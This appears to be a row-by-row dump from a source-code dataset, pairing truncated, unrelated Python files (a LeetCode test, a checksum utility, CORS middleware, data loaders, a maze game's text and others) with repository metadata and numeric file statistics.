async def epic_free_game(start... | 30.529412 | 72 | 0.745665 | 76 | 519 | 4.907895 | 0.473684 | 0.085791 | 0.128686 | 0.080429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004494 | 0.142582 | 519 | 16 | 73 | 32.4375 | 0.833708 | 0 | 0 | 0 | 0 | 0 | 0.046243 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.416667 | 0 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
390dcff9eeeb910ef17bc178dc5eea38e986422e | 453 | py | Python | leetcode/longest_increasing_subsequence/longest_increasing_subsequence_test.py | sagasu/python-algorithms | d630777a3f17823165e4d72ab780ede7b10df752 | [
"MIT"
] | null | null | null | leetcode/longest_increasing_subsequence/longest_increasing_subsequence_test.py | sagasu/python-algorithms | d630777a3f17823165e4d72ab780ede7b10df752 | [
"MIT"
] | null | null | null | leetcode/longest_increasing_subsequence/longest_increasing_subsequence_test.py | sagasu/python-algorithms | d630777a3f17823165e4d72ab780ede7b10df752 | [
"MIT"
] | null | null | null | import unittest
import longest_increasing_subsequence
class Solution(unittest.TestCase):
def test_one(self):
sr = longest_increasing_subsequence.Solution()
self.assertEqual(sr.lengthOfLIS([10,9,2,5,3,7,101,18]), 4)
# def test_two(self):
# sr = longest_increasing_subsequence.Solution()
... | 30.2 | 84 | 0.664459 | 63 | 453 | 4.52381 | 0.492063 | 0.178947 | 0.294737 | 0.161404 | 0.491228 | 0.491228 | 0.491228 | 0.491228 | 0.491228 | 0.491228 | 0 | 0.068783 | 0.165563 | 453 | 15 | 85 | 30.2 | 0.685185 | 0.328918 | 0 | 0 | 0 | 0 | 0.026578 | 0 | 0 | 0 | 0 | 0 | 0.125 | 1 | 0.125 | false | 0 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
392373959dae05b7051126f3234a23ca69f13125 | 383 | py | Python | tests/test_mongodb2.py | mannuan/dspider | bf1bbad375b3b61f800cb25d1c839659a66f3e12 | [
"Apache-2.0"
] | 15 | 2018-05-12T17:15:59.000Z | 2020-09-06T04:32:47.000Z | tests/test_mongodb2.py | mannuan/dspider | bf1bbad375b3b61f800cb25d1c839659a66f3e12 | [
"Apache-2.0"
] | null | null | null | tests/test_mongodb2.py | mannuan/dspider | bf1bbad375b3b61f800cb25d1c839659a66f3e12 | [
"Apache-2.0"
] | 2 | 2018-06-29T00:44:52.000Z | 2020-07-07T01:58:03.000Z | from pymongo import MongoClient
from pymongo.database import Database
from pymongo.collection import Collection
shop_collection = Collection(Database(MongoClient(host='10.1.17.15'), 'dspider2'), 'shops')
for i in shop_collection.find({'data_source':'餐饮', 'data_region':'千岛湖', 'data_website':'大众点评', 'shop_url':'http://w... | 54.714286 | 148 | 0.75718 | 54 | 383 | 5.240741 | 0.62963 | 0.116608 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045198 | 0.075718 | 383 | 7 | 149 | 54.714286 | 0.754237 | 0 | 0 | 0 | 0 | 0 | 0.3125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
39377de863e650c1264040afbd97357846b6a236 | 247 | py | Python | answers/Anuraj Pariya/day 18/question 1.py | justshivam/30-DaysOfCode-March-2021 | 64d434c07b9ec875384dee681a3eecefab3ddef0 | [
"MIT"
] | 22 | 2021-03-16T14:07:47.000Z | 2021-08-13T08:52:50.000Z | answers/Anuraj Pariya/day 18/question 1.py | AnurajPariya03/30-DaysOfCode-March-2021 | 2fb575d06a3c86bc890e7fb97d321eba8f93157f | [
"MIT"
] | 174 | 2021-03-16T21:16:40.000Z | 2021-06-12T05:19:51.000Z | answers/Anuraj Pariya/day 18/question 1.py | AnurajPariya03/30-DaysOfCode-March-2021 | 2fb575d06a3c86bc890e7fb97d321eba8f93157f | [
"MIT"
] | 135 | 2021-03-16T16:47:12.000Z | 2021-06-27T14:22:38.000Z | def perfect_square(x):
if (x == 0 or x == 1):
return x
i = 1
result = 1
while (result <= x):
i += 1
result = i * i
return i - 1
x = int(input('Enter no.'))
print(perfect_square(x))
| 15.4375 | 27 | 0.437247 | 36 | 247 | 2.944444 | 0.472222 | 0.056604 | 0.264151 | 0.169811 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042254 | 0.425101 | 247 | 15 | 28 | 16.466667 | 0.704225 | 0 | 0 | 0 | 0 | 0 | 0.036437 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0 | 0 | 0.272727 | 0.090909 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3939463bd0f07c5f73d7be7ea0d782b5a2f136d8 | 1,383 | py | Python | managesf/services/nodepool/common.py | enovance/managesf | 5f6bc6857ebbffb929a063ccc3ab94317fa3784a | [
"Apache-2.0"
] | null | null | null | managesf/services/nodepool/common.py | enovance/managesf | 5f6bc6857ebbffb929a063ccc3ab94317fa3784a | [
"Apache-2.0"
] | null | null | null | managesf/services/nodepool/common.py | enovance/managesf | 5f6bc6857ebbffb929a063ccc3ab94317fa3784a | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
#
# Copyright (C) 2016 Red Hat <licensing@enovance.com>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless re... | 30.065217 | 76 | 0.670282 | 209 | 1,383 | 4.37799 | 0.535885 | 0.065574 | 0.072131 | 0.034973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022462 | 0.195228 | 1,383 | 45 | 77 | 30.733333 | 0.799641 | 0.430224 | 0 | 0 | 0 | 0 | 0.153946 | 0.031048 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.055556 | 0.111111 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
393b93af5c514b1526b31d876323699fbb60feaf | 748 | py | Python | tests/kv_testdata.py | umerazad/precs | 76bbc6b1c5fe2f53fe5790d026dc2a83c8960d3d | [
"0BSD"
] | null | null | null | tests/kv_testdata.py | umerazad/precs | 76bbc6b1c5fe2f53fe5790d026dc2a83c8960d3d | [
"0BSD"
] | null | null | null | tests/kv_testdata.py | umerazad/precs | 76bbc6b1c5fe2f53fe5790d026dc2a83c8960d3d | [
"0BSD"
] | null | null | null | # Default delimiters
INPUT1 = '''
pid 2
uptime 675
version 1.2.5 END
pid 1
uptime 2
version 3
END
'''
OUTPUT1 = '''{"pid": "2", "uptime": "675", "version": "1.2.5"}
{"pid": "1", "uptime": "2", "version": "3"}
'''
# --field-delim '=', --record-delim '%\n'
INPUT2 = '''
a=1
b=2
c=3
%
d=4
e=5
f=6
%
'''
OUTPUT2 = '''{"a"... | 14.666667 | 62 | 0.42246 | 130 | 748 | 2.430769 | 0.246154 | 0.037975 | 0.056962 | 0.075949 | 0.689873 | 0.689873 | 0.56962 | 0.56962 | 0.424051 | 0.424051 | 0 | 0.103728 | 0.175134 | 748 | 50 | 63 | 14.96 | 0.408428 | 0.229947 | 0 | 0.289474 | 0 | 0.052632 | 0.749123 | 0.042105 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
39526d9c160599ac5932ecb9465bcdc3176c4e72 | 128 | py | Python | csv2sql/meta.py | ymoch/csv2sql | 22e20c1ccb7a5b21bacec6bd94b72d3c2e06bb4a | [
"MIT"
] | 7 | 2017-03-07T03:05:12.000Z | 2021-03-19T17:12:46.000Z | csv2sql/meta.py | ymoch/csv2sql | 22e20c1ccb7a5b21bacec6bd94b72d3c2e06bb4a | [
"MIT"
] | 15 | 2017-02-06T17:11:01.000Z | 2018-08-18T02:55:17.000Z | csv2sql/meta.py | ymoch/csv2sql | 22e20c1ccb7a5b21bacec6bd94b72d3c2e06bb4a | [
"MIT"
] | 5 | 2017-02-05T18:20:00.000Z | 2021-11-14T20:20:42.000Z | """Meta information for csv2sql."""
__version__ = '0.4.1'
__author__ = 'Yu Mochizuki'
__author_email__ = 'ymoch.dev@gmail.com'
| 21.333333 | 40 | 0.71875 | 17 | 128 | 4.647059 | 0.941176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035398 | 0.117188 | 128 | 5 | 41 | 25.6 | 0.663717 | 0.226563 | 0 | 0 | 0 | 0 | 0.387097 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1a4105ad71311c7d4ce3c72af3483de90d72f0ab | 1,877 | py | Python | MDGM/Channel/load_data.py | xiayzh/MH-MDGM | 203fb463ac968d1c566073111ff42ca55e7ea085 | [
"MIT"
] | 1 | 2021-07-22T06:10:08.000Z | 2021-07-22T06:10:08.000Z | MDGM/Channel/load_data.py | xiayzh/MH-MDGM | 203fb463ac968d1c566073111ff42ca55e7ea085 | [
"MIT"
] | null | null | null | MDGM/Channel/load_data.py | xiayzh/MH-MDGM | 203fb463ac968d1c566073111ff42ca55e7ea085 | [
"MIT"
] | 2 | 2021-07-15T08:18:32.000Z | 2022-03-28T20:56:28.000Z | import torch
from torch.utils.data import DataLoader, TensorDataset
from argparse import Namespace
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
import numpy as np
import h5py
import json
import os
def load_data_1scale(hdf5_file, ndata, batch_size, singlescale=True):
with h5py.File(hdf5_file... | 32.929825 | 94 | 0.69366 | 265 | 1,877 | 4.690566 | 0.207547 | 0.128721 | 0.057924 | 0.077233 | 0.711183 | 0.711183 | 0.680611 | 0.680611 | 0.661303 | 0.661303 | 0 | 0.025726 | 0.192328 | 1,877 | 56 | 95 | 33.517857 | 0.794195 | 0 | 0 | 0.525 | 0 | 0 | 0.0336 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.075 | false | 0 | 0.225 | 0 | 0.375 | 0.025 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1a54b918c75b8f6851f014b049727a99f83a5fe1 | 925 | py | Python | display_functions.py | JackGartner/MazeGame | cd055f7cb17cc25f0eb20b1adb747b710ca9f9bf | [
"MIT"
] | null | null | null | display_functions.py | JackGartner/MazeGame | cd055f7cb17cc25f0eb20b1adb747b710ca9f9bf | [
"MIT"
] | null | null | null | display_functions.py | JackGartner/MazeGame | cd055f7cb17cc25f0eb20b1adb747b710ca9f9bf | [
"MIT"
] | null | null | null | ############# constants
TITLE = "Cheese Maze"
DEVELOPER = "Jack Gartner"
HISTORY = "A mouse wants eat his cheese, Make it to the Hashtag to win, watch out for plus signs, $ is a teleport, P is a power up, Obtain the Key (K) in order to unlock the door (D)"
INSTRUCTIONS = "left arrow key\t\t\tto move left\nright arrow k... | 31.896552 | 183 | 0.56 | 131 | 925 | 3.954198 | 0.48855 | 0.027027 | 0.048263 | 0.07722 | 0.131274 | 0.131274 | 0 | 0 | 0 | 0 | 0 | 0.068027 | 0.205405 | 925 | 28 | 184 | 33.035714 | 0.636735 | 0.020541 | 0 | 0.238095 | 0 | 0.095238 | 0.650342 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0 | 0 | 0 | 0.095238 | 0.714286 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
1a639776c741dfa1f4d1cbf2f51170beef3a28d8 | 1,537 | py | Python | concrete/common/debugging/custom_assert.py | iciac/concrete-numpy | debf888e9281263b731cfc4b31feb5de7ec7f47a | [
"FTL"
] | 96 | 2022-01-12T15:07:50.000Z | 2022-03-16T04:00:09.000Z | concrete/common/debugging/custom_assert.py | iciac/concrete-numpy | debf888e9281263b731cfc4b31feb5de7ec7f47a | [
"FTL"
] | 10 | 2022-02-04T16:26:37.000Z | 2022-03-25T14:08:01.000Z | concrete/common/debugging/custom_assert.py | iciac/concrete-numpy | debf888e9281263b731cfc4b31feb5de7ec7f47a | [
"FTL"
] | 8 | 2022-01-12T15:07:55.000Z | 2022-03-05T00:46:16.000Z | """Provide some variants of assert."""
def _custom_assert(condition: bool, on_error_msg: str = "") -> None:
"""Provide a custom assert which is kept even if the optimized python mode is used.
See https://docs.python.org/3/reference/simple_stmts.html#assert for the documentation
on the classical assert fu... | 30.74 | 90 | 0.70527 | 220 | 1,537 | 4.759091 | 0.259091 | 0.080229 | 0.114613 | 0.099331 | 0.680038 | 0.617956 | 0.510029 | 0.510029 | 0.510029 | 0.510029 | 0 | 0.000828 | 0.214053 | 1,537 | 49 | 91 | 31.367347 | 0.865894 | 0.623292 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.888889 | 1 | 0.444444 | false | 0 | 0 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1a69e9ece626680008e91494fee44dc21b018bc4 | 501 | py | Python | third_party/gsutil/third_party/rsa/tests/test_parallel.py | tingshao/catapult | a8fe19e0c492472a8ed5710be9077e24cc517c5c | [
"BSD-3-Clause"
] | 5,079 | 2015-01-01T03:39:46.000Z | 2022-03-31T07:38:22.000Z | third_party/gsutil/third_party/rsa/tests/test_parallel.py | tingshao/catapult | a8fe19e0c492472a8ed5710be9077e24cc517c5c | [
"BSD-3-Clause"
] | 4,640 | 2015-07-08T16:19:08.000Z | 2019-12-02T15:01:27.000Z | third_party/gsutil/third_party/rsa/tests/test_parallel.py | tingshao/catapult | a8fe19e0c492472a8ed5710be9077e24cc517c5c | [
"BSD-3-Clause"
] | 2,033 | 2015-01-04T07:18:02.000Z | 2022-03-28T19:55:47.000Z | """Test for multiprocess prime generation."""
import unittest
import rsa.prime
import rsa.parallel
import rsa.common
class ParallelTest(unittest.TestCase):
"""Tests for multiprocess prime generation."""
def test_parallel_primegen(self):
p = rsa.parallel.getprime(1024, 3)
self.assertFalse(r... | 23.857143 | 54 | 0.698603 | 67 | 501 | 5.134328 | 0.41791 | 0.093023 | 0.087209 | 0.130814 | 0.255814 | 0.209302 | 0.209302 | 0.209302 | 0.209302 | 0 | 0 | 0.026764 | 0.179641 | 501 | 20 | 55 | 25.05 | 0.810219 | 0.159681 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.363636 | 1 | 0.090909 | false | 0 | 0.363636 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
1a6a4976a069bdb461e9c492db9b0df3067479e6 | 1,906 | py | Python | downloadutil/checksum_util.py | yugabyte/downloadutil | 231c472b60e78ef3033b9e90d5e7b4231f64e228 | [
"Apache-2.0"
] | 2 | 2021-04-06T00:49:03.000Z | 2021-04-06T17:44:04.000Z | downloadutil/checksum_util.py | mbautin/downloadutil | 19995e08c03ac267ba0e6f9b4724a12df247f79a | [
"Apache-2.0"
] | null | null | null | downloadutil/checksum_util.py | mbautin/downloadutil | 19995e08c03ac267ba0e6f9b4724a12df247f79a | [
"Apache-2.0"
] | 1 | 2021-04-19T20:16:42.000Z | 2021-04-19T20:16:42.000Z | import os
from downloadutil.util import BUFFER_SIZE_BYTES
from typing import Any
import re
import hashlib
SHA256_CHECKSUM_RE = re.compile(r'^[0-9a-f]{64}$')
SHA256_CHECKSUM_FILE_SUFFIX = '.sha256'
def validate_sha256sum(checksum_str: str) -> None:
"""
Validtes the given SHA256 checksum. Raises an exception... | 31.766667 | 96 | 0.721406 | 277 | 1,906 | 4.6787 | 0.350181 | 0.092593 | 0.064815 | 0.074074 | 0.100309 | 0.080247 | 0 | 0 | 0 | 0 | 0 | 0.047619 | 0.18468 | 1,906 | 59 | 97 | 32.305085 | 0.786358 | 0.100735 | 0 | 0.114286 | 0 | 0 | 0.124777 | 0.031491 | 0 | 0 | 0 | 0.016949 | 0 | 1 | 0.2 | false | 0 | 0.142857 | 0.028571 | 0.514286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
1a7d2fcf53ebdeb2535adbc73a4ba527aae98102 | 851 | py | Python | matilda/data_pipeline/data_scapers/__init__.py | AlainDaccache/Quantropy | 6cfa06ed2b764471382ebf94d40af867f10433bb | [
"MIT"
] | 45 | 2021-01-28T04:12:21.000Z | 2022-02-24T13:15:50.000Z | matilda/data_pipeline/data_scapers/__init__.py | AlainDaccache/Quantropy | 6cfa06ed2b764471382ebf94d40af867f10433bb | [
"MIT"
] | 32 | 2021-03-02T18:45:16.000Z | 2022-03-12T00:53:10.000Z | matilda/data_pipeline/data_scapers/__init__.py | AlainDaccache/Quantropy | 6cfa06ed2b764471382ebf94d40af867f10433bb | [
"MIT"
] | 10 | 2020-12-25T15:02:40.000Z | 2021-12-30T11:40:15.000Z | import os
from matilda import config
if not os.path.exists(config.DATA_DIR_PATH):
os.mkdir(config.DATA_DIR_PATH)
if not os.path.exists(config.STOCK_PRICES_DIR_PATH):
os.mkdir(config.STOCK_PRICES_DIR_PATH)
if not os.path.exists(config.FINANCIAL_STATEMENTS_DIR_PATH):
os.mkdir(config.FINANCIAL_STATEMENTS_DI... | 31.518519 | 71 | 0.795535 | 144 | 851 | 4.409722 | 0.152778 | 0.176378 | 0.088189 | 0.138583 | 0.91811 | 0.667717 | 0.464567 | 0.381102 | 0.173228 | 0 | 0 | 0 | 0.094007 | 851 | 26 | 72 | 32.730769 | 0.823606 | 0 | 0 | 0 | 0 | 0 | 0.014101 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.111111 | 0 | 0.111111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1a9a8e80bd2521574b1116072fe9325844dc32a0 | 1,928 | py | Python | argostranslate/fewshot.py | argosopentechnologies/Argos-Translate | c834ef224418a830abe8ca4ed4e942f4ea07cbca | [
"MIT"
] | 1,114 | 2020-08-29T20:52:50.000Z | 2022-03-30T06:06:52.000Z | argostranslate/fewshot.py | argosopentechnologies/Argos-Translate | c834ef224418a830abe8ca4ed4e942f4ea07cbca | [
"MIT"
] | 145 | 2020-11-27T18:45:29.000Z | 2022-03-22T06:30:13.000Z | argostranslate/fewshot.py | argosopentechnologies/Argos-Translate | c834ef224418a830abe8ca4ed4e942f4ea07cbca | [
"MIT"
] | 85 | 2020-10-27T18:56:27.000Z | 2022-03-28T08:14:58.000Z | prompt = """Translate to French (fr)
From English (es)
==========
Bramshott is a village with mediaeval origins in the East Hampshire district of Hampshire, England. It lies 0.9 miles (1.4 km) north of Liphook. The nearest railway station, Liphook, is 1.3 miles (2.1 km) south of the village.
----------
Bramshott est u... | 41.913043 | 269 | 0.6639 | 273 | 1,928 | 4.582418 | 0.527473 | 0.070344 | 0.031974 | 0.038369 | 0.153477 | 0.134293 | 0.081535 | 0.081535 | 0.081535 | 0.081535 | 0 | 0.016982 | 0.205913 | 1,928 | 45 | 270 | 42.844444 | 0.798824 | 0.007261 | 0 | 0.307692 | 0 | 0.102564 | 0.627092 | 0 | 0.051282 | 0 | 0 | 0.022222 | 0 | 1 | 0.051282 | false | 0 | 0 | 0 | 0.153846 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1aa27bde9bc49424ded543bbec234b99e8e981c0 | 612 | py | Python | 1_beginner/chapter5/practice/fibonnaci.py | code4tomorrow/Python | 035b6f5d8fd635a16caaff78bcd3f582663dadc3 | [
"MIT"
] | 4 | 2021-03-01T00:32:45.000Z | 2021-05-21T22:01:52.000Z | 1_beginner/chapter5/practice/fibonnaci.py | code4tomorrow/Python | 035b6f5d8fd635a16caaff78bcd3f582663dadc3 | [
"MIT"
] | 29 | 2020-09-12T22:56:04.000Z | 2021-09-25T17:08:42.000Z | 1_beginner/chapter5/practice/fibonnaci.py | code4tomorrow/Python | 035b6f5d8fd635a16caaff78bcd3f582663dadc3 | [
"MIT"
] | 7 | 2021-02-25T01:50:55.000Z | 2022-02-28T00:00:42.000Z | """ CHALLENGE PROBLEM!! NOT FOR THE FAINT OF HEART!
The Fibonacci numbers, discovered by Leonardo di Fibonacci,
is a sequence of numbers that often shows up in mathematics and,
interestingly, nature. The sequence goes as such:
1,1,2,3,5,8,13,21,34,55,...
where the sequence starts with 1 and 1, and then each number i... | 29.142857 | 79 | 0.73366 | 116 | 612 | 3.87069 | 0.586207 | 0.048998 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.07085 | 0.19281 | 612 | 20 | 80 | 30.6 | 0.838057 | 0.97549 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1abd7c515172b6d604dfe87c1aded58ad1b6e3ac | 492 | py | Python | src/main/python/smv/__init__.py | shuangshuangwang/SMV | 021faece3f0fefca6051df8415789b14bc9a60ed | [
"Apache-2.0"
] | null | null | null | src/main/python/smv/__init__.py | shuangshuangwang/SMV | 021faece3f0fefca6051df8415789b14bc9a60ed | [
"Apache-2.0"
] | null | null | null | src/main/python/smv/__init__.py | shuangshuangwang/SMV | 021faece3f0fefca6051df8415789b14bc9a60ed | [
"Apache-2.0"
] | null | null | null | # flake8: noqa
# Smv DataSet Framework
from smv.smvdataset import *
from smv.smvinput import *
from smv.smvapp import SmvApp
from smv.runconfig import SmvRunConfig
from smv.csv_attributes import CsvAttributes
from smv.helpers import SmvGroupedData
from smv.historical_validators import SmvHistoricalValidator, SmvHist... | 25.894737 | 85 | 0.841463 | 56 | 492 | 7.357143 | 0.642857 | 0.118932 | 0.063107 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002315 | 0.121951 | 492 | 18 | 86 | 27.333333 | 0.951389 | 0.162602 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.636364 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
1abf7a7b43b01f4c19f97b7dac03bed2d51e14f1 | 578 | py | Python | api/middlewares/cors.py | lndba/apasa_backend | e0bb96e22a22f6e2a5a2826f225388113473e7e2 | [
"Apache-2.0"
] | 1 | 2019-08-06T07:31:40.000Z | 2019-08-06T07:31:40.000Z | api/middlewares/cors.py | lndba/apasa_backend | e0bb96e22a22f6e2a5a2826f225388113473e7e2 | [
"Apache-2.0"
] | null | null | null | api/middlewares/cors.py | lndba/apasa_backend | e0bb96e22a22f6e2a5a2826f225388113473e7e2 | [
"Apache-2.0"
] | null | null | null | from django.utils.deprecation import MiddlewareMixin
from django.conf import settings
class Cors(MiddlewareMixin):
def process_response(self, request, response):
response['Access-Control-Allow-Origin'] = ','.join(settings.CORS_ORIGIN_LIST)
if request.method == 'OPTIONS':
respon... | 44.461538 | 91 | 0.685121 | 62 | 578 | 6.274194 | 0.483871 | 0.143959 | 0.215938 | 0.267352 | 0.154242 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.190311 | 578 | 13 | 92 | 44.461538 | 0.831197 | 0 | 0 | 0 | 0 | 0 | 0.227513 | 0.202822 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.2 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1ac640bde4922315bdde8d12b4c3d89647d4b369 | 1,204 | py | Python | target_decisioning_engine/filters.py | adobe/target-python-sdk | f3e9b1bb6c8e1984e3d758ab1fe1a71225ade13e | [
"Apache-2.0"
] | 3 | 2021-05-25T20:10:46.000Z | 2021-06-15T05:49:18.000Z | target_decisioning_engine/filters.py | adobe/target-python-sdk | f3e9b1bb6c8e1984e3d758ab1fe1a71225ade13e | [
"Apache-2.0"
] | 15 | 2021-01-13T22:53:25.000Z | 2021-09-03T23:11:25.000Z | target_decisioning_engine/filters.py | adobe/target-python-sdk | f3e9b1bb6c8e1984e3d758ab1fe1a71225ade13e | [
"Apache-2.0"
] | 4 | 2021-01-04T18:44:01.000Z | 2022-03-15T21:30:11.000Z | # Copyright 2021 Adobe. All rights reserved.
# This file is licensed to you under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License. You may obtain a copy
# of the License at http://www.apache.org/licenses/LICENSE-2.0
